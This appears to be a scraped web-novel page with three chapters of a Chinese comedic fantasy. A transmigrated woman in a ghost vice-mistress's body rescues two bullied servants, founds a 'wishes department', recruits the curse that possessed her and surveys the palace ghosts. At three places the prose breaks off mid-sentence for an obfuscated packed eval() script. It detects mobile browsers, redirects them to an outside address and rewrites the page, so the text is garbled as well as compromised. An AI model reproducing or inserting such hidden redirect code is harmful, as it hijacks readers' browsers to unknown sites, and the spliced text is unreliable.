说完他更是疑惑:“不对,这里连鸟飞过都不敢拉屎,怎会有苍蝇?” 夏月明了然,神秘一笑,道:“没关系,也许不是苍蝇。” 是某位“老朋友”。 “哦。”见夏月明似是知道些什么,小白疑惑挠头,没有再问。 穿过后花园,再跨桥经过一片已经干掉的人工湖,便来到了林蔓的院所。 还未进院,先听见有鬼在趾高气昂地训鬼。 这声音林蔓很熟悉,很快与之相关的记忆便苏醒了……是背叛林蔓,勾结缉灵司陷害她的贴身弟子。 夏月明又走近了几步,来到院门前,将那声音听得更真切了一些。 “蠢不可怕,可怕的是蠢而不自知,你们是这样,你们主子也是这样!” “瞪什么瞪?等狸长老当上副宫主,我让她第一个吃掉你!” 接着是两道皮鞭打下的声音。 听不下去了,夏月明推门而入,便见院中堆积如山的脏衣服旁,一位拿着鞭子、造型爽利的女鬼,正在欺凌另外两位着装素雅、洗衣扫地的可怜女鬼。 洗过的衣服会被她掀翻踩脏,还要再洗。扫完的落叶也会被她呼风吹乱,还要再扫。 欺辱人的叫妲朵,正是背叛林蔓的那个。跪在地上埋头洗衣的叫小婵,拿着扫帚不服瞪眼的叫依依。 察觉有鬼在身后,妲朵转身,不爽地看向夏月明,质问道:“你哪个院的?我怎么没见过你?进来也不先敲门啊?真没礼貌!你知不知道,等今天的大会一结束,我就是副宫主左使了!” 卖主求荣。 不过荣似乎也没求到,不然没有进议事厅的参会资格就罢了,开完会也没办法第一时间得到消息,连谁是副宫主都不知道。 夏月明倒不急着拆穿她,顺着她的话道:“抱歉,未来副宫主左使。” 妲朵听她语气诚恳,心情大好。将她从头打量一遍,道:“看你呆呆的,还挺懂事,你是哪一宫的?等我当上左使,把你调过来当我的洗脚婢。” 夏月明微微一笑,道:“谢谢你。我是林蔓。” 妲朵眉头一皱,不解她话中含义,随即就舒展开来,埋怨道:“林蔓院里的?说话别只说一半啊!会吓死鬼的!” 小婵和依依疑惑对望,她们在林蔓院里时间最长,不记得何时有过这个鬼。 妲朵一鞭子便朝小婵胳膊抽去:“谁允许你停下来了?!” 小婵忙抓起衣服,继续揉搓起来。 夏月明见状面色一冷,不愿再与她纠缠,怒视妲朵,道:“小婵、依依,你们停下吧,这院子、这衣服,都交给妲朵来收拾。” 小婵和依依都很懵。 “啊?”妲朵大怒:“你疯了吧?敢这样和我说话?” 说罢便挥鞭朝夏月明抽来。 电光火石间,小白从门后闪身而入,接下鞭子后借力一拽又一甩,鞭子抽在了妲朵自己手上。 妲朵正欲破口大骂,见是个帅哥,竟愣了几秒钟。 “你又是谁?竟敢打我!等我当上了副宫主……” 话没说完,便被屋外一声温婉清丽的女声打断了:“妲朵!跪下!给副宫主赔罪!” 一名与妲朵容貌七分形似,但半分神似也没有的温婉女子夺门而入,拽着妲朵胳膊便要拉着她下跪。 妲朵不爽挣扎:“干什么啊!什么副宫主?我没看到狸姝大人啊!” 温婉女子名叫烟溪,是妲朵的表姐,曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866741|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是林蔓的得力弟子。 林蔓在宫外修炼复颜术时,她们也跟随在侧。但如今,其他弟子都在缉灵司的天罗地网中灰飞烟灭了,这两个却好好地出现在这里,还和狸姝搭上了线。 不用想也知道为什么了。 夏月明思索间,烟溪已同妲朵讲明了现状,妲朵惶恐大骇,两腿一软便跪下求饶。 虽是他人仇怨,但夏月明素来看不惯霸凌者,便冷声道:“从现在起,小婵和依依就是我的左右使。打扫院子和洗衣服不是她们的工作,谁把我院子弄乱的,谁来清理。” 妲朵急忙应声:“属下知错,属下清理!” 夏月明说罢,故意对着她挤出一个意味不明的笑来,道了声:“暂且失陪。” 随即将升官来得太突然,一脸懵然的小婵和依依叫到了房间。 确认他们彻底离开后,妲朵一脸愕然,难以置信地问烟溪:“她不是应该已经……怎么会回来?真的是她吗?” 烟溪点头:“狸长老亲口所说。” 妲朵内心最后一丝期待也彻底落空,全身力气仿佛在瞬间被抽空一般,瘫倒在地,喃喃道:“完了……她不会放过我们的……” 烟溪心里也慌得很,但她表面仍显淡定,小声道:“别担心,狸长老会保护我们,毕竟我们做的这一切,都是给她的投名状啊。” “嗯……”妲朵努力去相信她的话,但此后几日,每次打坐修炼时,她都会不自觉想起“林蔓”刚刚离开前的那个诡异笑容,这份恐惧仿如梦魇一般如影随形,令她发狂。 子夜,林蔓卧房内。 小婵和依依站于夏月明身前,内心惶恐,无所适从。 夏月明柔声道:“你们也坐下吧。” 小婵和依依更为惶恐,连连摇头:“属下不敢……” 夏月明站起身来,道:“那我也站着吧,不然怪不礼貌的。” 小婵和依依急忙找到座位,和夏月明、小白一起,共坐于方桌四个边。 从小婵破碎的袖口间,夏月明看到了她胳膊上密密麻麻的伤痕,触目惊心。 她愤然又心疼地问道:“这也是她们打的吗?” 小婵慌忙用手遮住伤口,欲言又止,止言又欲。 依依比她大胆一些,怯生生地替她开口提醒道:“姥姥,这是你打的。” 呃…… 愤怒和心疼都僵在脸上,夏月明一时汗颜:“对不起……” 小婵和依依惊讶对视:她竟然会道歉?! 随即瑟瑟发抖:我不会要完了吧? 看着她们怪异又惊恐的样子,夏月明轻咳一声,沉声解释道:“从前我觉得你们懦弱,难成大事,所以格外看重烟溪和妲朵。但此番修炼复颜术,被她们背刺之后我才明白,自己从前看人待事的准则有太大问题。幸而老天爷给了我这个机会,让我从缉灵司手里逃脱。所以我决定痛改前非,再不亏待真心待我的人……和鬼。” 这番解释勉强合理,态度也十分真诚,但却不合林蔓人设。 虽不符合林蔓人设,却是小婵和依依做梦也不敢奢求的场景。 受惯欺凌的两个小姑娘眼眶发红,泪光闪烁。 但心中理智告诉她们,这是假的,不能信。 若信了,下一秒或许就是狂风骤雨的毒打。这是林蔓惯用的钓鱼执法。 于是小婵努力憋回眼泪,挤出一个乖巧的笑来,道:“没有要改的,师父待我们一直很好呀。” 17. 第五位伙伴 “……”夏月明一时心酸。 她深知林蔓对她们的伤害与压迫持续已久,并非一两句真诚道歉就可抹去的。 但来日方长,不需急在一时。 她便转移话题道:“我想在鬼山创立一个心愿部,你们愿意加入吗?” 毕宿宫所在的山原本植被茂密,被称作翠林山,如今植被稀疏,鬼影重重,因而被称作鬼山。 在林蔓记忆中,这两个小姑娘一直勤勤恳恳,不愿作恶,因而未被重用。 正是她需要的伙伴。 依依疑惑道:“心愿部?” 夏月明将给小白交过的底也和两个姑娘说了一遍。 因为不知晓她曾和地府交易过,所以她们比小白更难理解这件事。 但副宫主的命令,向来都是做就完了,理解不理解并不重要。 因而她们也未多言,恭声应允。 夏月明欣喜地抓住两个姑娘纤细的手,三只鬼的手都不自觉颤抖了一下。 而后都颇为尴尬地维持了原状。 夏月明努力露出自己最为友好的表情,欣然笑道:“从今天起,小婵就是副宫主左使,兼心愿部……客服经理。依依就是副宫主右使,兼心愿部……运营经理。” “客服经理?” “运营经理?” “……这个职称你们可能不太理解,等一个月后我再详细跟你们解释。” 其实现实中这些职称具体做什么夏月明也不清楚,她只是按自己理解分配的职位。虽然现在看来没什么用,但她总觉得干大事之前,需要一些仪式感来活跃氛围。 分工完后,夏月明又正式同两位姑娘介绍了一下小白。 “这位是我们心愿部副部长,你们工作上有什么需要支持的地方,找他或者找我都行。” 依依和小蝉怯生生看向小白,小白学着夏月明的样子,对她们露出一个友好的笑来。 笑容过于耀眼,两位姑娘赶忙收回目光,红着脸盯着桌子,点了点头。 好看是好看,但姥姥的男人,看多了不知会不会被挖去眼睛。 虽然八字还没一撇,但夏月明心中莫名生出几分豪情壮志,兴奋地拍拍手道:“好,我宣布,心愿部正式成立!” “……”沉默,沉默是今晚的鬼山。 另外三名创始鬼都只是恭顺地笑望着她,并未能与她共情。 但夏月明并不在意,自娱自乐地鼓起掌来。 受她情绪感染,小白也忍不住拍起掌来,而后小婵和依依也犹豫着,一起鼓掌。 清冷阴暗的古宅,突然就热闹了起来。 只是次日不知谁传出的消息,说这夜副宫主在屋里扇了手下一整晚耳光。 原本担心人设崩塌的夏月明彻底放心了,当人设过于深入鬼心的时候,是很难塌掉的。 不过这些都是后话了,心愿部成立当夜,夏月明便给众鬼都分配了任务,开始物色第一个客户。 她找来纸笔,让小白代笔设计了一份问卷交给小婵,嘱咐道:“山下应该有可以印刷的地方,你们去帮我印……三十份吧。” “是。” 小婵和依依应声后,夏月明又从抽屉里拿出一些碎银子来,道:“这些应该够了。” 小婵和依依对望一眼,笑道:“师父,我们一般都是穿墙而入,以幻术迷惑老板干活,不用给银钱的。” “嗯,老板醒后,只当做了一场梦,也不会觉得有什么不妥。” 夏月明笑着摇了摇头,认真道:“还是要给的,我们心愿部小本生意,诚信经营。” 小婵和依依懵然一瞬,竟也跟着笑了,随即反应过来什么,又急忙严肃称是。 不知为何,与她说话时,常常会忘记她是那个脾气暴躁、心狠手辣的师父。 小婵和依依离开后,夏月明把门关上,神秘地笑着,对小白道:“小白,接下来,给你介绍一下我们的第五位伙伴。” “嗯?还有伙伴?”小白疑惑,屋里也没其他鬼了呀。而且为什么主人一副关门打狗的架势? 为了预防腿软站不稳,夏月明先稳稳地坐在了床上,才道:“出来吧,系统。或者,该叫你诅咒?” 屋内一片沉默,除了风吹烛火跳动外,没有别的动静。 夏月明也不着急,精心等候。 过了一会儿,白皙的脖颈处聚集了大片黑色咒印,咒印脱离她的身体,在半空中凝聚成人形的黑色实体。 正是穿越前,反噬她,要夺走她身体的诅咒。 夏月明用眼神示意小白不用动,随即淡定地望向诅咒。 诅咒上半身的轮廓逐渐变得清晰起来,化成一名妖冶的长发男子,说是男子,仅是因为他声音偏男性,单论容貌,很难分出性别。 他面无血色,额头、眉尾、眼睛和嘴巴处,都有着几何形状的黑色纹路,显得整个人狡猾又邪恶。 但下半身,仍是如阿拉丁灯神一般的黑色烟雾。 他满怀恶意地盯着夏月明,冷笑道:“小丫头,你倒挺聪明。说,你什么时候知道是我的?” 原本十分邪恶的表情,因为下意识习惯性发出的夹子音,显得有些滑稽。 小白忍俊不禁:“噗~哈哈哈哈~” 诅咒反应过来,恶狠狠瞪了小白一眼,随即又邪恶地望向夏月明,恢复正常嗓音道:“说!” 察觉自己的魂体没有因为他的出现产生惊惧反应,夏月明松了口气,实诚道:“你有几次嗓子没夹住,我听着耳熟,猜你可能是那个诅咒。所以在对付黑店店主的时候,我试探性请你用诅咒控制他,你也真的做到了。”「 诅咒一听非常愤恨,咬牙切齿道:“可恶,我就不该心软,答应你的请求!” 夏月明在心里无语吐槽:心软?明明是自大吧。 然后继续道:“不止这些。还有你说你是附着在玉佩上的系统,可是你对玉佩保护我的事完全不知道,虽自称是系统,言行却非常跳脱,这也是矛盾之处。最重要的是,刚才在花园,你跟我说话的时候,小白说看到了苍蝇。我身上最开始出现咒印时,也被当成苍蝇过,因为你总会在我身上乱窜,这下,算是给我所有的猜想实锤了。” 诅咒越听越羞愤,手中凝起一把黑色的刀,对着夏月明脖子笔画。 小白站起身来,又被夏月明摇头制止,皱起眉头绷紧身体,盯着诅咒的一举一动。 只听诅咒气呼呼道:“你早就看破了却不说,还利用我,真阴险呐,我要杀了你!” 夏月明扬起头与他对视,质问道:“你藏在我身上十年,把我害死后又跟着我穿越过来,还骗我说你是系统,你不阴险吗?” “……”诅咒愣了下,随后大言不惭地狂笑起来:“哈哈哈哈,我本来就是用世界上最阴毒的诅咒凝聚而成的实体,我阴险一点不是很正常吗?” “……”夏月明竟无法反驳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866742|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见她吃瘪,诅咒更加嚣张起来,道:“你想怎么样?找我报仇吗?我可是万咒之皇。你以为身边多了个没用的小白脸就能与我抗衡?” 夏月明叹了口气,道:“我确实不能对你怎么样,但你也不能对我怎么样,对不对?不然为什么留我到现在,还怕我死督促我炼魂?总不会是因为……可怜我吧?” 一语中的,诅咒愤恨咬牙,无法反驳。 夏月明见状更加安心,看着他那张妖异的脸,微笑道:“既然你不能把我怎么样,我也不能把你怎么样,不如我们合作吧?” “哼,跟我谈合作?你还不够格。”诅咒傲娇地扬起下巴。 夏月明无语,这时候还嘴硬? 被她盯得心虚,诅咒咳嗽两声,又道:“你想怎么合作?” 像只落难的老虎,气势比之前弱了许多。 夏月明微笑道:“我想聘请你做我们心愿部的法务。” “嗯?让我当法务,你没毛病吧?”诅咒听完哈哈大笑,“我可是全世界最恶毒的诅咒集合体,就算在现代社会,我也没守过法呀!” 嘿,拿不要脸当本事,还挺骄傲。 夏月明在心里翻了个白眼,但没办法,当下还是很需要他的,便耐着性子解释道:“但你成功让黑店店主伏法了。在这个世界,诅咒是维护契约最好的威慑。” 诅咒想了想,似乎有些被说服,又道:“那我做你的法务,要干点啥?” 夏月明道:“帮我跟客户和同事建立契约,保证大家都不违约,就像我和林蔓的约定那样。” 林蔓以诅咒威胁夏月明守约,这也是夏月明想让诅咒当法务的灵感来源。 不过诅咒听罢却大笑起来,骄傲道:“那你可要感谢我,老太婆给你下的诅咒,已经被我吃掉啦!你不必帮她完成约定,也不会怎么样。” 夏月明蓦然一惊,随即摇头笑了笑,道:“这个以后再说。” 督促她完成约定的,从来都不是什么诅咒,而是她自己对诚信的理解。所以无论有没有诅咒,和林蔓的约定她都会完成。只不过没有诅咒,她心里也会轻松一些。 “哼,倔驴,随你。”没等到她的千恩万谢,诅咒有些失望,随即又一脸想入非非地搓起手来,美滋滋道:“喂,我给你当法务部长,有什么好处吗?” 她明明说的是法务,他自己还加上了“部长”两个字,夏月明忍不住想笑,道:“待遇和小白一样。” 诅咒眼珠子转了转,有些不爽:“虽然听着没诚意,但我姑且大发慈悲,答应你了!” “嘿嘿,谢谢你!” 招兵买马成功,一切都有了很好的起点,夏月明突然对未来充满了期待。 更重要的是,她终于可以将憋在心中许久的一个疑点问出来了。 “是谁带我们穿越过来的?” 阎王说是一个厉害到连天帝也无可奈何的人,可她那时昏过去了,什么也不记得。 如果真是这样一个人,他为什么要带自己过来呢? 他因触摸玉佩而出现,必然是和爷爷有关的人,他会知道爷爷的下落吗? 她未曾料想,这普普通通一个问题竟令诅咒露出惊惶之色,像是想起什么十分恐怖的回忆一般,他的身体瑟瑟发抖,在人形和黑色实体之间来回切换。 良久后才缓过神来,颇为疲惫地沉声道:“他是我见过的,最强大、最可怕的鬼。” “他是鬼?” 18. 内测问卷 “嗯。”诅咒神色悻悻,不愿继续这个话题,烦躁道:“他的事,我现在跟你说了也没用。等你找到修炼办法,保住小命再说。” “也是。”知道再问不出什么,夏月明也不强求。 当下便不再分散注意力,专心谋划着一个月试用期的事。 她越想越充满干劲,一个月后,可以期待的事太多了。 所以无论如何,这个试用期一定要圆满通过。 诅咒依附回夏月明魂体,房间内仅余夏月明和小白两个鬼。 夏月明便将自己来自另一个世界的事情,同小白解释了一遍,她猜他刚才一定听得一头雾水。 听完她的解释后,小白好看的眼眸中碎光闪烁,目色欣然而笃定地望着夏月明。 将自己的一切秘密都告诉他人,是一件十分危险的事。 可她却告诉了自己。 这份信任令他无比感动,他原先看主人不愿亲近自己,还以为主人讨厌自己呢。 现在看来,自己真的遇到了一个很特别的主人呀。 “谢谢。” 他轻声地道。 曙光初现之时,小婵和依依将印刷好的三十份问卷带了回来。 夏月明瞧了眼天色,掐指一算道:“你们已经工作满八……呃四个时辰了,今天可以下班了。” 小婵和依依大惑不解:“下班?” 夏月明微笑道:“嗯,下班,就是别干活了,可以休息了。” 她记得自己从前上班的时候,最讨厌的事情是什么。所以此次在鬼山的小规模创业,她不希望伙伴们也遭遇那些事情。 “这……”小婵和依依面露难色。 往常这个时间,她们应该在她身侧,伺候她修炼才对。 夏月明道:“别担心,这是心愿部的新规定,起码这一个月都是这样。你们一天只需工作八……呃四个时辰便可。” “四个时辰?”依依惊呆一般望着小婵,随即两只鬼一同惶恐下跪,求夏月明不要赶自己走。 夏月明:? 夏月明忙将她们扶起,耐心解释道:“你们是我最重要的伙伴,我不可能让你们走的,放心吧。我知道我突然这么说,你们心里都很迷茫,这样吧,我们先试两天,要是这样行不通,我们再商量别的工作方案,可以吗?” 两位小姑娘皱着眉,惶恐地点了点头。 夏月明忽觉好笑,她本以为自己是个良心老板,没成想倒吓着她们了。 看来在这个世界落实劳动法,也得一步一步慢慢来。 双休什么的,暂且等她们适应了八小时工作制之后再提吧。 “你们先去休息,或者忙自己的事吧,戌时再来找我。” 小婵和依依懦声应是,不安地退离了房间。 心慌,整个白天心都是慌的。 甚至开始考虑找下家的事。 夏月明若是知道了,定会哭笑不得。从前林蔓对她们非打即骂的时候,她们也没想过要走的。 幸而她们只是想想,不是真的要走。 依依道:“虽然姥姥对我不好,可我从小就在她身边,也不知该去哪里了。” 小婵也道:“是啊。以我们的本事,去哪里都不好容身吧。” 两个小姑娘惆怅地叹了口气,随后继续心慌着。 “那我们现在,该做些什么呢?” “姥姥说让我们忙自己的事……我们有自己的事吗?” 两个小姑娘说着说着,又长长地叹了口气。 这时,副部长小白也被夏月明请出了房间。 他也下班了。 坐在门槛上发愁的两个小姑娘赶忙站起身来,对小白行了个礼。 随即三只鬼干瞪眼,都不知该往哪里去。 小白扶额想了想,道:“要不,你们带我在山庄里四处转转,熟悉熟悉?” 两个小姑娘犹豫不决,最后把心一横,一副慷慨赴死的样子,同意了小白的提议。 虽然私底下接触姥姥的男人是大忌,但副部长也是主子,他的命令也是命令。 最主要是,他为她们指明了方向。 于是这一天,毕宿宫内可怜巴巴的低层鬼们冒着烈日干活的时候,都能看到俊男美女撑着伞游园闲逛的风景。 “偷懒吗?” 可他们是副宫主的手下,胆敢偷懒,不怕副宫主把他们生吞了? “任务吗?” 毕宿宫哪有这么轻松的任务啊! 所有疑惑到正午日头最浓之时,都变成了羡慕。 此时有的鬼奔波于后山帮主子抓野味;有的鬼静候于屋外,等着打坐的主子随时吩咐;有的鬼在打扫院子;有的鬼在山下执行任务…… 而毕宿宫的这三位,在后花园假山石洞内纳凉吃瓜。 “副部长,你确定姥姥不会怪罪我们吗?” “放心吧,这世界上,不会有比她更貌美心善的鬼了。” “呃……” “副部长,你和师父是什么关系呀?” “她是我的主人,我是她的……” “哦哦不用说不用说,我们懂的,嘿嘿。” 工作日意外得来的休息时间,令她们有种做贼心虚的快乐,这种感觉非常奇妙。 差不多下午的时候,小白对这庄园已熟悉得差不多了。 便对两个姑娘道:“我先回去了,你们自己玩。” 两个小姑娘又再次陷入了迷茫。 没有护法作陪,她们在园中乱晃,很容易被别的主子抓去收拾。 思索再三,她们也小心翼翼寻着偏僻的小径,低调地回了副宫主院中。 彼时夏月明刚刚睡醒,开门就看见准备干活的她们,硬生生将哈欠都咽了回去。 她忙将她们手里的抹布拿开,认真道:“休息时间上班,太晦气了。” “……”两个小姑娘不敢言语。 夏月明恍然,“哦”了一声道:“你们不知道怎么消磨时间对不对?” 她竟忘了鬼不需要睡觉。 两个小姑娘怯生生点头。 夏月明道:“我来教你们一些游戏吧。虽然我自己也不曾玩过,但规则还是略有了解的。” 于是下午余下的时间,夏月明拉上小白,教大家玩起了抽王八。 三只鬼对这新奇玩法很感兴趣,夏月明也是头一回和朋友一起玩,四只鬼玩得不亦乐乎,屋内也逐渐变得笑声连连。 狸姝派来监视林蔓的小鬼急忙回去禀报:“副宫主把她手下那几个小鬼,都折磨疯啦!” 狸姝心情大好,看来要不了多久,她手下那几根独苗也会向自己倒戈了。 戌时一到,心愿部收起手绘的扑克牌,正式开始上班。 夏月明将昨日“死神大点兵”时心里列出的可渡化名单一一念出,请小婵和依依去邀请他们与手下在议事厅集合。 因白天听说副宫主院中的鬼在园子里乱晃不干活,名单上的鬼早就好奇地想来一探原因了。 很快,心愿部第一批内测用户就齐聚在了议事厅中。 议事厅的地面上,有夏月明和小白提前铺好的藤编坐垫。 每一个坐垫前,都放着一张问卷和一套笔墨。 小白引领众位迷茫用户来到座位前,待众鬼都落座以后,夏月明拿着一份问卷走到 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正是紫衣阿九。 夏月明笑吟吟道:“九长老有什么问题吗?” 阿九嘴角露出挑衅轻佻的笑容,高声道:“我的心愿就是你和狸姝尽快掐起来,打个你死我活,能满足吗?” 夏月明也不恼,微微一笑道:“不妨先写下来,没准儿哪天真实现了?” 阿九甚是满意,开开心心把心愿写在了第三栏,交给夏月明后畅快离去。 眼见九长老都得交了问卷才好走,其他众鬼虽有顾虑,却也只能缓缓落笔。 另一位长老小草倒是没想那么多,他早就填好了前两栏,但在第三栏犯了难。 怯生生举手道:“蔓姥姥,我有好多心愿,不够写怎么办呀?” 夏月明微笑道:“写在背面吧。” 小草不好意思地嘿笑一声,道:“背面已经写满了……” 夏月明:…… 没办法,她又给他拿了张纸。 孩子高兴地撅起屁股趴在地上,洋洋洒洒又写了起来。 便在这时,厅内忽然生起一阵凄厉阴风。 随即一阵黑色烟雾以肉眼不可分辨的速度,从厅门口移动到了夏月明身后,现出真身。 是轩辕泓。 夏月明心慌转身,故作淡定地笑道:“宫主怎么来了?您不是闭关了吗?” 轩辕泓冷冷地盯着她,颇有压迫感地沉声道:“你把大家聚集在这里,做什么?” “是啊,两位长老都叫了,却没叫我,不会是商量怎么对付我吧?” 姗姗来迟的狸姝迈着优雅的步伐,缓缓进入大厅,一副看戏的神情望着夏月明。 夏月明立刻就明白了,是她告的状。 她诚恳地回望着轩辕泓危险的黑眸,委屈巴巴坦然道:“我知道我在毕宿宫名声不好,下个月不是要重新选副宫主了吗?我想看看大家有什么心愿我能帮上忙的,算是……员工福利吧。” “什么员工福利啊?我看你分明是想贿赂大家!”狸姝无情地“拆穿”道。 “员工福利”,轩辕泓记得她之前好像也提过这个词。 他将信将疑地把目光从她脸上移开,望向了她手中空白的问卷。 夏月明十分配合地将问卷交给了他。 轩辕泓盯着那问卷看了很久,久到夏月明开始心慌他是不是看出什么的时候,他忽而从旁拿起一支笔,将问卷悬于半空,洋洋洒洒填了起来。 19. 员工福利 众鬼魂面面相觑,这和预想中的不一样啊。 难道正确走向不是他们在这里磨洋工拖住副宫主,然后狸长老去找来宫主,以私自聚众、图谋不轨为由将副宫主直接处置了吗? 怎么现在他们还没来得及捏造证词告状,宫主先填上了那个什么问卷? 眼见他们汗流浃背,写也不是,不写也不是,夏月明故意耍心眼道:“多谢宫主抬举支持~” 众鬼魂更是惊惶。言下之意,不写就是不抬举,不支持呗。 对不起了狸长老,不是属下不讲义气,而是敌人太狡猾啊! 内心向狸姝恕过罪后,他们争先恐后抓起笔,就像还剩十分钟交卷,才发现阅读题还没做完的考生一样,奋笔疾书了起来,生怕最后一个交卷会显得自己不给副宫主面子。 这意料之外的走向也令夏月明颇为惊喜。 她面带笑意,以一种“真是孝顺好宝宝”的慈爱目光,满意地望着轩辕泓。 轩辕泓突然感觉后背发凉,瘆得慌。 其实以一般鬼的脑回路,怎么可能想到副宫主会大发善心帮助山上的鬼去入轮回呢? 他此举本意并非帮“林蔓”背书,而是担心“林蔓”日后会从这问卷做文章,迫害下属。 若他也填了这问卷,便算是明确了自己的立场,那“林蔓”日后若想从问卷发难,多少会也会顾虑一些。 当然,宫主这份曲折离奇的玲珑心思,在场众鬼无一识破。 轩辕泓填完问卷后,颇有威压地交给了夏月明。 夏月明当即便看了起来,前面两栏都没啥问题,就是心愿那一栏,他填的是:成为三界最强。 夏月明默默在心里把他加入了渡魂黑名单。 她哪儿有这神通啊。 有的话也不必在这里了…… 将轩辕泓的问卷收好后,夏月明便望向奋笔疾书的其他鬼魂,像个等待收卷的监考老师一般,迫不及待想看看几名尖子生的成绩如何。 被忽视的轩辕泓莫名不爽,凛声道:“填完之后呢?” 夏月明扭头微笑道:“填完之后就可以先回去等消息啦。” “……”轩辕泓愠怒:“没有什么要同本座交代的吗?” “嗯……”夏月明认真思考了下,做了个“加油”的手势,道:“宫主注意身体,好好修炼,天天向上!” “……” 不知为何,轩辕泓更气了。 狸姝见状急忙上前,趁势抓住夏月明手腕质问道:“你让大家写这些,究竟是何目的?当着宫主的面,不许撒谎!” 夏月明无辜又真诚:“刚才不是说了吗?我想改变大家对我的印象。” 说罢将狸姝的手掰开,解放了自己的手腕。 狸姝冷哼一声,又朝前几步走到小婵跟前,拽着她的手腕将她从座位上拉了起来,柔声道:“小婵妹妹,你告诉狸长老,昨夜,还有今日午后,她都对你做了什么?你放心,宫主也在这里,她不敢对你做什么的。若怕她趁宫主闭关时报复,还有狸长老护着你呢。我们一起,揭开她的虚伪假面!” 轩辕泓听她话中有话,危险地眯起眼睛,用探究的目光望向夏月明,语气森寒地对小婵道:“直说便可。她对你做了什么?” 小婵和夏月明一样懵。 她对她做什么了? 她惶惶不安地回忆起来,如实道:“昨晚……副宫主要我们去把问卷印出来,哦对了,叮嘱我一定要给银钱的……今天下午……她让我们好好休息,和我们一起做游戏。” 厅内众鬼眉头紧锁,沉默不言。 陌生,太陌生了。 她形容的这个副宫主,和他们印象中的,完全不像同一个嘛! 她锱铢必较,怎么可能给人银钱?更别说让手下休息了! 眼见众鬼神色动摇,狸姝更是迫不及待想要给他们亲眼看看副宫主的真面目了。 她抬起纤纤玉手轻拍小婵手背,语气更加温柔地哄道:“小婵妹妹,你别害怕,在这里你可以说实话的。昨天夜里,明明有鬼听到你被她连扇耳光,今天下午,又有鬼听见你被她折磨疯了,大笑不止。你再替她隐瞒也没有意义……” 众鬼魂义愤填膺。这到底是道德的沦丧,还是鬼性的扭曲? ——虽然他们自己也经常这样做,但做鬼嘛,玩得就是双标。 不过听狸姝这么一说,夏月明倒是恍然大悟了。 她颇感离谱地委婉提醒道:“狸长老,有没有一种可能,她大笑不止是因为开心呢?” 狸姝笃定道:“绝无此种可能。” 察觉到自己嘴快了,她又严谨地补充了一句:“起码在你手下不可能。” “是真的。” 开口的,竟是素来最胆小谨慎的小婵,众鬼魂都很心疼,副宫主到底把这孩子逼到什么地步了啊,都敢当众顶撞长老了。 小婵也不知自己哪里来的勇气,但见到师父如今变得这么好还要被误解,她心里实在不甘。 她声音颤抖,鼓起勇气解释道:“昨夜的声音不是巴掌,是鼓掌,因为师父说要带我们帮大家完成心愿。” 众鬼魂面面相觑,开始迷茫。 小婵继续道:“下午的笑声是因为,休息的时候,师父教我们玩抽王八。” 抽王八? 众鬼魂发挥想象力,脑补了最合理的画面。 有些心疼小王八。 狸姝细一琢磨,突然露出一副“真相只有一个”的表情,自信又愤然地指着夏月明道:“好啊!你把下属当成王八抽,还骗她们说这是游戏!” 夏月明:? 众鬼魂一听,思路瞬间打通。 不愧是狸姝大人,轻而易举就想明白了我们想不通的事! 夏月明心里直呼“好家伙”,怎么三言两语间,她就成了PUA手下的变态副宫主了? 她哭笑不得地让小白拿出纸做的扑克牌来,无奈道:“虽然很浪费时间,但我不得不给大家展示一下,我们是怎么抽王八的。” 随即当着大家的面,和小白玩起抽王八来,边玩边讲解。 这新奇的玩法吸引了一众鬼魂,轩辕泓更是跃跃欲试。 但她今天还有更重要的事要做,不想在这上面再耽误时间,便提醒轩辕泓道:“宫主还要闭关修炼呢,现在不是玩的时候。” 那语气像极了一位严母,在对自己的孩子说:“写完作业再玩。” 饶是已经可以呼风唤雨的鬼界尊主,脸上也出现了几分几不可辨的委屈。 夏月明有些难以置信,眨了眨眼睛再一看,那委屈神色又不见了,好似她的幻觉一般。 但明显能看出,轩辕泓很不开心。 毕竟是自己的领导,而且实力强大,夏月明也不好真得罪他,想了想,又哄道:“等你出关后,我教你更好玩的。” 轩辕泓这才舒展神色,矜持地“嗯”了一声。 “真像个小孩子呀。”夏月明心道。代入他母亲的角色久了,偶尔竟真会对他生出几分母性来。 思及至此,夏月明又忽然想起什么,叫住了正要离开的轩辕泓。 “对了宫主……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866744|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轩辕泓止步:“嗯?” 夏月明犹豫了下,又道:“算了,等你闭关结束再说吧。” “……”轩辕泓沉吟一瞬,道:“好,” 随即化作黑色烟雾,转瞬消失。 她本来想问一下他和林蔓的约定是什么,但又想到眼下最要紧的还是渡魂,便决定先不分心了。 轩辕泓一走,其他鬼魂又赶紧奋笔疾书起来。 干巴巴站在大厅中央的狸姝就显得十分尴尬。 